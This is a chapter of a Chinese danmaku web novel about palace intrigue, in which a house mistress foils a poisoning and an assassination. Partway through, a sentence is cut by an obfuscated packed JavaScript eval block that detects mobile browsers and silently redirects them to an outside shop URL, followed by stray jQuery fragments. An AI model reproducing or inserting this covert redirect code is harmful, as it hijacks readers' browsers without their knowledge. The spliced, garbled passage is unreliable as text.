46.如此重口

作品:《弹幕在手,绿茶休走

    “夫人,是我。”


    听见门外熟悉声音,柳如烟放下了紧绷着的心,疲惫道:“进来吧。”


    “是。”门“吱呀”一声开了。


    丫鬟垂首而入,捧着红漆托盘,盘中一只白瓷汤盅。


    “姨娘醒了,喝点鸡汤吧。”


    先是将托盘放下,扶起柳如烟,给她垫了个枕头,再端出汤盅。


    刚一揭开盖,一股热气夹杂着鸡汤的香味腾腾而起,勾得柳如烟顿觉饥肠辘辘。


    丫鬟将汤盅打开以后,就拿着汤匙,在汤盅搅和了下,就要喂给柳如烟,柳如烟刚张嘴就闭上:“等下。”


    丫鬟的手一抖,险些洒了,柳如烟皱眉道:“别烫着我。”


    “姨娘放心,这温度呀,刚刚好。”


    柳如烟往后靠了靠,就等着丫鬟伺候她喝汤。


    那丫鬟轻轻撇去浮油,舀起一勺汤水,就要往她嘴里送去。


    “嘭”地一声,大门洞开了。


    青霜一脚踹开房门,动作定格在踹门姿势,崔俪兰随后出现,带着青霜进门。


    “住嘴。”


    “夫人?”


    柳如烟脑中猛地一惊,莫非这汤有毒?


    她连忙看了丫鬟一眼,那丫鬟倒是沉得住气,脸上只有诧异并无半点惊慌。


    青霜上前一掌打翻了汤盅:“你这贱婢,在府中白吃白喝我家主子的,主子心善不和你计较,你竟然蹬鼻子上脸,还敢偷小厨房给主子备下的老参汤喝?”


    那丫鬟顿时一个扑通跪在地上,不住求饶。


    柳如烟被这阵仗吓懵了,强撑着病体,虚弱地道:“夫人,是不是误会了什么。”


    “误会?”崔俪兰面色不复往日里的温和,讥诮道,“人证物证俱在,柳姨娘,你还想抵赖吗?”


    【又可以发弹幕了,刚刚是怎么回事,怎么黑屏了?】


    【难道是发生了什么不可描述的事情】


    【女主宝宝怎么突然和如烟大帝计较这种小事了】


    【这是古代,柳如烟毕竟是自己丈夫的小妾,心里肯定有气啊】


    【女主不是这种人,她早就不在乎了】


    【你们别忘了,兰兰在剧中可是被眼前这个毒妇一杯毒酒送去归西了】


    【这么狠啊,女主快,别留情了,借刀杀人,干掉它,报仇雪恨】


    柳如烟看着崔俪兰沉静如水的眸子,忽然明白了什么,辩解的话语到了嘴边吞咽了下去,继而她用她那一贯茶里茶气的腔调:“夫人饶命~都是、都是这贱婢自作主张,不关奴家的事儿~”


    “哦?是吗。”崔俪兰一声令下,“来人,给我将这背主的奴才捆了,押去柴房。”


    “夫人饶命,唔——”屋外被这动静惊到的嬷嬷随即赶到,将这丫鬟捂了嘴,押了下去。


    门复又关上了,青霜却默契地退后几步,身子微倾,像一尊门神般守在门口。


    柳如烟见屋内没有其他人,正要起身,被崔俪兰一把按住:“你现在刚落了水身子虚着,别起来了。”


    柳如烟闻言没强自动身,嘴巴蠕动了下,什么也没说出口。


    倒是崔俪兰看着她这般模样,主动坐在了床沿。


    空气中带着股霉味,挥之不去。


    她先是抬起手,掩了下鼻,继而轻轻挥了挥,似乎要将什么驱散,才看向柳如烟。


    眼前的女人面容憔悴,短短数日,已不复当时在锦绣阁中的张扬得意,不施粉黛,面容倒是没有那般浓妆艳抹时的妩媚,素净的像一个邻家女孩。


    崔俪兰指尖轻佻她下巴,凑近瞧了瞧,看着她眼底布满的红血丝,语气平静:“你到底看上它哪点了?”


    柳如烟脑子一懵。


    【啊?】


    【女主你正在做什么?】


    【兰兰好攻哦,一键清零】


    【我不是走错频道了叭】


    “夫人?”


    “柳如烟,你为什么,要刻意接近陆铮,或者说,永宁侯府。”


    崔俪兰从弹幕中得知,这部剧的大结局就是当家主母崔俪兰被毒死以后,崔家败落,陆铮带着他的从龙之功,平步青云,最后欢天喜地地和柳如烟拜堂成亲。


    可这部剧,却没有交代,柳如烟从何而来,又为什么非要和陆铮结缘。


    “夫人,我不明白你在说什么?”柳如烟强笑道。


    “哦?是吗。”她一松手,从袖中拿出一个精致的瓷瓶,“这是荣养丸,是我从母家带来的养身保命的好东西。”


    她打开以后,当着柳如烟的面在手心倒出一粒,轻拈起一颗,递在柳如烟眼前。


    那意味不言而明。


    柳如烟接过,决绝地吞服而下。


    崔俪兰勾唇一笑:“你就不怕,这是毒药?”


    柳如烟一愣,随机自嘲一笑:“夫人要是想杀我,早在康王府,不用您动手,早已兵不血刃。”


    “不错,算你有几分胆识。”崔俪兰笑了笑,“可笑的是,枕边人还没有‘情敌’来得了解自己,这是悲哀还是荣幸。”


    “夫人,奴家只是一个外室,但奴家一看您就非池中物,他日定大有作为。今日来此,定有要事吩咐。”


    “你很聪明,明人不说暗话,帮我做一件事,我保你腹中胎儿性命无忧。”


    柳如烟郑重其事点头应下。


    临走之前,崔俪兰顿步回首道:“对了,有一件事,我不知道该不该告诉你。”


    “夫人,但说无妨。”


    “刚刚那鸡汤里放了活血散瘀的藏红花,日后的饮食,你自己注意些。”


    柳如烟眼神一厉,被中的拳头,恨恨地攥紧了。


    “多谢夫人,柳如烟以后唯夫人马首是瞻。”


    【到底是谁这么狠,非得要置柳如烟的孩子于死地。】


    【不是女主干的】


    【废话,兰兰虽然嘴硬但是心软,行事光明磊落,当然不是她】


    【渣男干的?】


    【有可能】


    【也不像啊,渣男不是在康王府还为了孩子护着柳如烟吗】


    【等一下,你们不是忘了,如烟大帝可是女主的仇人】


    【仇人的仇人就是友军嘛】


    崔俪兰推门而出,青霜连忙关上门跟上。


    从秋梧院回锦兰院的路上,崔俪兰抬首,只见一轮圆月悬于夜空


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028487|188273||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,透过梧桐稀疏的枝叶间,分外明亮,时有凉风袭来,吹得人思绪飘远,有几分说不出的意味来。


    二人刚回院中,青霜就关上屋门,神秘兮兮的。


    “主子,我差点以为你是真的瞧不起柳姨娘了。”青霜咧嘴一笑,“还好我聪明,反应快。”


    崔俪兰微微一笑,点头道:“是,属你最机灵啦。”


    “不过有一点你说得没错,她做的那些卑劣之事,我确实挺瞧不上眼,可她现在对我还有用,再说了,她肚子里若真有身孕,孩子也是无辜的。”


    “若是我直说有毒,她未必会信,也必定会打草惊蛇。”


    “所以说,还不如找茬嘛,主子聪慧,我差点就没反应过来。”


    “好啦,你也累了,信也送到了,快去歇下吧。”


    青霜打了个哈欠:“好吧,主子你也早点休息吧。”


    说完,正要离开。


    崔俪兰瞥见弹幕,眼疾手快扯住青霜,伸头吹熄了蜡烛。


    永宁侯府秋梧院的柴房,是一间四面无窗的小黑屋,屋里堆满了柴禾等杂物。


    小丫鬟刚被堵了嘴,捆了扔在柴火堆旁,她听着耳边窸窸窣窣的声音,其中夹杂着老鼠吱吱声,一时间有些害怕地缩了缩。


    门突然在一阵捣鼓声后开了。


    一个人背着光蹑手蹑脚地进来了,他手中拿着一把尖刀,在月光的映照下闪着骇人的寒光。


    那丫鬟听见开门声本来还在害怕,见到来人顿时扭得更欢了,眼里闪着激动的泪花。


    那人手起刀落给她松了绑,却悄悄捡起割断的绳子,趁着小丫鬟自己拔掉嘴里塞着破布的时候,往前一套、双手紧箍。


    小丫鬟只觉得脖颈一痛,顿时被勒得眼冒金星,喘不过气来。


    当她以为自己就要命丧黄泉时,几道身影犹如天神下凡出现在门外。


    “来人,拿下。”


    崔俪兰带着几个手持火把的家将和仆妇,一声令下,众人直往屋内涌去。


    青霜一马当先,一脚将那歹人踹翻在地,用脚踩着那人持刀的手腕,用力一碾。


    “啊——”那人痛得尖叫出声,这声音却熄灭在了喉咙中,反道觉得又臭又呛。


    “哼,尝尝姑奶奶半年不洗的香履,便宜你小子了。”原是青霜将脚上的鞋子塞到他口中,堵住了嘴,现在青霜脚上只穿着一只灰扑扑的看不见绣花和布料原色的罗袜。


    狭小的柴房内,一股子奇臭无比的怪味混杂着柴房自带的霉气,融合成一种难以言喻的奇异味道。


    “青霜,你这脚,多久没洗了?”众人不由得捂鼻,崔俪兰也差点忍不住要吐了。


    “那啥,主子别嘲笑,最近太忙了,上次洗脚好像还是过年的时候?”


    【我去,重口味】


    【太惨了】


    【真有点可怜这个歹人了】


    【青霜好可爱,xswl】


    崔俪兰差点笑出声,吩咐道:“将这两人捆结实了,送到前厅。”


    这动静终究闹得大了些,永宁侯府各院都被,就连左邻右舍,也纷纷点起了灯,摆好瓜子,打发着门房去打听发生了什么事。